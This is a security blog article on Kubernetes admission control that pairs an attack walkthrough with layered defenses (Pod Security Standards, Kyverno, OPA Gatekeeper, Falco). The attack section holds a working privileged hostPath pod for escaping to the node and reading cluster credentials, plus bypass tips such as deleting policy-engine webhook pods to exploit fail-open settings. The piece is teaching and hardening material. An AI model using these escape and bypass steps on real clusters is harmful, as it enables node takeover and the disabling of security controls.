Breaking and Hardening Kubernetes Pods: Pod Security Standards, OPA Gatekeeper, and Kyverno

Containers & DevSecOps
Time it takes to read this article 6 minutes.

Introduction / Overview

Disclaimer: This article is for educational purposes and authorized security testing only. Run these techniques exclusively against clusters you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction.

A Kubernetes pod is just a Linux process tree wrapped in namespaces and cgroups. If an attacker can schedule a pod with the wrong securityContext — privileged, host-mounted, or running as root — that boundary collapses, and a single namespace compromise becomes full node and often full cluster compromise. Admission control is the gate that decides which pod specs are allowed to run. This post walks through how a misconfigured admission posture is abused, then weights an equal amount of defense: Pod Security Standards (PSS), OPA Gatekeeper, and Kyverno.

How it works / Background

When a pod-creating request hits the API server, it passes through authentication, authorization (RBAC), and finally admission controllers before being persisted to etcd. Admission controllers come in two flavors:

  • Validating controllers accept or reject the request.
  • Mutating controllers rewrite the spec before validation.

Kubernetes ships a built-in Pod Security Admission (PSA) controller (stable since v1.25, replacing the removed PodSecurityPolicy). PSA enforces the three Pod Security Standards profiles via namespace labels:

  • privileged — unrestricted.
  • baseline — blocks the most obvious escapes (host namespaces, privileged containers, most hostPath).
  • restricted — heavily locked down: non-root, seccompProfile: RuntimeDefault, dropped capabilities, no privilege escalation.

PSA is intentionally simple. For richer policy — image registries, label requirements, custom field logic — teams add a webhook-based engine like OPA Gatekeeper (Rego-based constraints) or Kyverno (YAML-native policies). Both register as ValidatingWebhookConfiguration (and, for Kyverno, MutatingWebhookConfiguration) objects.

Prerequisites / Lab setup

You need a throwaway cluster. kind is ideal because it is disposable and you control the host.

# Spin up a local cluster
kind create cluster --name pss-lab --image kindest/node:v1.30.0
kubectl cluster-info --context kind-pss-lab

# Confirm the Pod Security Admission plugin is active (built in)
kubectl get --raw='/api/v1/namespaces/default' | grep -o 'pod-security[^"]*' || true
Bash

Walkthrough / PoC

Step 1 — Baseline: an unrestricted namespace

By default a fresh namespace has no PSS labels and allows anything. A classic node-takeover pod mounts the host root filesystem:

# evil-pod.yaml — host filesystem escape primitive
apiVersion: v1
kind: Pod
metadata:
  name: hostmount
spec:
  hostPID: true
  containers:
  - name: shell
    image: busybox
    command: ["/bin/sh", "-c", "sleep 3600"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
YAML
kubectl apply -f evil-pod.yaml
kubectl exec -it hostmount -- chroot /host /bin/sh
# You are now effectively root on the node; read /host/etc/kubernetes/admin.conf etc.
Bash

This maps to MITRE ATT&CK T1611 (Escape to Host). The privileged: true flag plus hostPath: / is the entire exploit.

Step 2 — Enforce Pod Security Standards

Label the namespace to enforce restricted:

kubectl label namespace default \
  pod-security.kubernetes.io/enforce=restricted \
  pod-security.kubernetes.io/enforce-version=v1.30 \
  pod-security.kubernetes.io/warn=restricted
Bash

Re-apply the malicious pod and PSA rejects it before it ever schedules:

kubectl apply -f evil-pod.yaml
# Error from server (Forbidden): error when creating "evil-pod.yaml":
# pods "hostmount" is forbidden: violates PodSecurity "restricted:v1.30":
# privileged (container "shell" must not set securityContext.privileged=true),
# allowPrivilegeEscalation != false, ... hostPath volumes ...
Bash

Step 3 — A compliant, hardened pod

# hardened-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: hardened
spec:
  securityContext:
    runAsNonRoot: true
    runAsUser: 10001
    seccompProfile:
      type: RuntimeDefault
  containers:
  - name: app
    image: nginxinc/nginx-unprivileged:stable
    securityContext:
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: true
      capabilities:
        drop: ["ALL"]
YAML

Step 4 — PSA gaps and where engines step in

PSA is coarse: it cannot say "only images from registry.internal.corp are allowed" or "every pod must carry an owner label." This is where Gatekeeper and Kyverno operate.

Kyverno example — block latest-tag and untrusted registries:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: restrict-image-registries
spec:
  validationFailureAction: Enforce
  background: true
  rules:
  - name: validate-registry
    match:
      any:
      - resources:
          kinds: ["Pod"]
    validate:
      message: "Images must come from registry.internal.corp"
      pattern:
        spec:
          containers:
          - image: "registry.internal.corp/*"
YAML
kubectl create -f https://github.com/kyverno/kyverno/releases/download/v1.12.0/install.yaml
kubectl apply -f restrict-image-registries.yaml
kubectl run nginx --image=nginx:latest   # rejected by the Kyverno webhook
Bash

OPA Gatekeeper example — a ConstraintTemplate plus Constraint enforcing dropped capabilities:

apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sPSPCapabilities
metadata:
  name: drop-all-capabilities
spec:
  match:
    kinds:
    - apiGroups: [""]
      kinds: ["Pod"]
  parameters:
    requiredDropCapabilities: ["ALL"]
YAML

Step 5 — Attacker thinking: bypass the gate

Admission control protects the write path, not running workloads. Common offensive angles:

  • Find an excluded namespace. Many teams exempt kube-system; a pod schedulable there often inherits broad privileges. Check kubectl get validatingwebhookconfigurations -o yaml for namespaceSelector exclusions.
  • Abuse failurePolicy: Ignore. If the webhook pod is down and policy fails open, malicious specs sail through. Try kubectl -n kyverno delete pod --all if you hold that RBAC.
  • Use a workload controller. Gatekeeper/Kyverno that only match Pod can miss a Deployment or Job whose pod template carries the offending fields, unless the policy also matches the controllers.

Mermaid diagram

Breaking and Hardening Kubernetes Pods: Pod Security Standards, OPA Gatekeeper, and Kyverno diagram 1

The diagram shows a pod request flowing through RBAC, mutating webhooks, built-in Pod Security Admission, and validating webhooks before it is ever scheduled.

Detection & Defense (Blue Team)

Defense should be layered, since each control covers a different gap:

  1. Enforce PSS on every namespace. Apply restricted by default and explicitly downgrade only where justified. Audit with:

    kubectl get ns -o json | jq -r '.items[] |
      [.metadata.name, (.metadata.labels["pod-security.kubernetes.io/enforce"] // "NONE")] | @tsv'
    Bash
  2. Run a policy engine in Enforce mode, not just Audit. Match pod controllers (Deployment, StatefulSet, Job, CronJob), not only bare Pod objects, so attackers cannot smuggle fields through templates.

  3. Set failurePolicy: Fail on critical ValidatingWebhookConfiguration objects so policy fails closed when the engine is unavailable. Run webhook pods highly-available with a PodDisruptionBudget.

  4. Minimize webhook exemptions. Audit namespaceSelector and Gatekeeper/Kyverno exclusion lists; an exempt namespace is a backdoor.

  5. Runtime detection. Admission only guards the write path. Deploy Falco to catch escapes at runtime. A rule like "Launch Privileged Container" or "Read sensitive file" flags activity even if a privileged pod slips in:

    helm repo add falcosecurity https://falcosecurity.github.io/charts
    helm install falco falcosecurity/falco --namespace falco --create-namespace
    Bash
  6. Audit-log mining. Alert on create/update of pods where securityContext.privileged=true, hostPID/hostNetwork/hostIPC=true, or hostPath volumes appear. These map to MITRE ATT&CK T1610 (Deploy Container) and T1611 (Escape to Host).

  7. Tighten RBAC. No admission control matters if a subject can create pods in a privileged namespace or delete the webhook deployment. Run kubectl auth can-i --list per service account, and consider tools like kube-hunter and cluster recon to map the surface.

For broader container hardening, see Container breakout techniques and seccomp and AppArmor profiles in practice.

Conclusion

Pod admission control is the cheapest, highest-leverage Kubernetes hardening you can apply. Built-in Pod Security Admission stops the obvious escapes for free; Gatekeeper and Kyverno add the contextual policy PSA cannot express. But none of it protects a running pod — pair admission control with runtime detection and least-privilege RBAC, and verify your policies fail closed. From an offensive standpoint, always look for the excluded namespace and the fail-open webhook; from a defensive standpoint, close exactly those gaps.

References

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL